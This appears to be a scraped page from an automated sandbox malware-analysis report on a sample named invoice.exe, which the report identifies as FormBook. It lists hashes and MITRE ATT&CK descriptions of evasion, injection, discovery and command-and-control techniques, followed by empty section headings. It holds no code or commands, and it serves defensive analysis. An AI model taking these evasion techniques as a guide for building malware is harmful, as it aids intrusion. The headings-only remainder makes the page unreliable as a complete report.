Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 96d409b0cf679b6dcc7a2d5bee6ba8e71ece22fbe0e842ad3d686b904c840651
Instruction ID: 17840e2755b3df1c4524bf9188e29a0e6bb9f7ff80c23b96064db504345d0ffb
Opcode Fuzzy Hash: 96d409b0cf679b6dcc7a2d5bee6ba8e71ece22fbe0e842ad3d686b904c840651
Instruction Fuzzy Hash: 79F0F672640601BFE6241A45DC06F23BF6AEB44730F140319F768561E1FA62FC309AF8

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report invoice.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries